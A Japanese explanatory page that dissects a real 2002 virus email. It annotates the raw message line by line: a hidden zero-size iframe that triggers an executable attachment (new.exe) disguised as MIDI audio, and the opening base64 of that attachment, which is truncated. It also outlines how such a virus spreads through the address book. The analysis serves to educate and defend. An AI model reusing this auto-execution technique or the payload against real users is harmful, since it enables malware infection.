HTMLメールをビューすることによって添付ファイルを起動させる「ビュー起動型」のウイルスメールがどのような構造をしているのかを、実際作者のところに来たウイルスメールで説明していきます。以下がその純粋にメールサーバに蓄えられている形のウイルスメールです。メーラはこれをコード変換して読める形に直します。いくつかの場所の「*」はプライベートな情報を隠すために目つぶしをしたものです。
Return-Path: gobi@********.com.sg Date: Fri, 2 Aug 2002 20:05:16 +0800 (SGT) From: webmaster <webmaster@********.co.jp>@ To: CZQ00116@nifty.ne.jpA Subject: Let's be friendsB Received: from ****.****.com.sg (****.****.com.sg [**.**.**.**]) by ums515.nifty.ne.jp (8.9.3+3.2W/3.7W001208) with ESMTP id VAA02961 for <CZQ00116@nifty.ne.jp> ; Fri, 2 Aug 2002 21:07:03 +0900 (JST) Received: from Ihed ([**.**.**.**]) by ****.****.com.sg with SMTP id g72C5Gms023066 for <CZQ00116@nifty.ne.jp> ; Fri, 2 Aug 2002 20:05:17 +0800 (SGT) Message-Id: <200208021205.g72C5Gms023066@****.****.com.sg> MIME-Version: 1.0 Content-Type: multipart/alternative;C boundary=Hyoy759Y8T272h33n1AGl392P6FD X-UIDL: 3d4a765800H07TQW E --Hyoy759Y8T272h33n1AGl392P6FF Content-Type: text/html;G Content-Transfer-Encoding: quoted-printableH E <HTML><HEAD></HEAD><BODY> <iframe src=3Dcid:UU0fCV2Mc height=3D0 width=3D0>I </iframe> <FONT></FONT></BODY></HTML> --Hyoy759Y8T272h33n1AGl392P6FF Content-Type: audio/x-midi; name=new.exeJ Content-Transfer-Encoding: base64K Content-ID: <UU0fCV2Mc>L E TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (中略) --Hyoy759Y8T272h33n1AGl392P6F--F |
@ | メールの差出人です。とはいいながら実はうそが書かれているかもしれないというのは衆知の事実です。 |
A | メールの受取人です。 |
B | メールタイトルです。 |
C | このメールがマルチパート(複数の部分)に分かれていること示します。添付ファイルがある場合は通常この Content-Type になります。 |
D | マルチパートの境界は「Hyoy759Y8T272h33n1AGl392P6F」という文字列で示すという指定です。 |
E | ヘッダーと本文の間は1行空行を入れることになっています。その空行です。 |
F | Dで指定された境界を表します。 |
G | HTMLメールであることを表します。 |
H | バイナリーデータを送るときに使用されるエンコード(符号化)方式が quoted-printable であることを表します。quoted-printable というのは、バイナリーデータのうち文字としてそのまま送信できるデータはそのままにして、送れない例えば16進数で 0A は「=0A」と言うように表現するものです。「=」は例外で「=3D」と表現されます。従ってIをデコード(復号化)すると <iframe src=cid:UU0fCV2Mc height=0 width=0> になります。 |
I | 問題の<iframe>タグです。cid は Content-ID という意味です。 |
J | 添付ファイルのファイル名が「new.exe」であることを示します。 |
K | 添付ファイルのエンコード(符号化)方式が base64 であることを表します。base64 というのは簡単にいうと、3バイト(24ビット)を4等分し6ビットずつにして各々を26=64個の文字(A-Z,a-z,0-9,+,/)であらわしたものです。 |
L | このパートの Content-ID は「UU0fCV2Mc」であることを表します。これはIで出てきた Content-ID と一致しています。 |
まず<iframe>で実現されるインラインフレームとは以下のものです。
<iframe src="inlineframe.htm" height=100 width=300></iframe>
上記の中身はこれです。
フレームの中にフレームがある感じになります。この inlineframe.htm の代わりに実行形式ファイル(例 *.exe、*.pif、上記のメールの例では new.exe)を指定して、それを実行させようとするのがウイルスメールの原理になります。
その実行コードの中に、アドレス帳からメールアドレスを取りだしメールを送る機能を入れればウイルスの完成です。
そのそもインラインフレームなんてものがあるからいけないんで、いっそ Internet Explorer からこの機能を取ってしまえば、細かいパッチ当てなんかも必要ないと思っているのは作者だけではないと思いますが...>Microsoft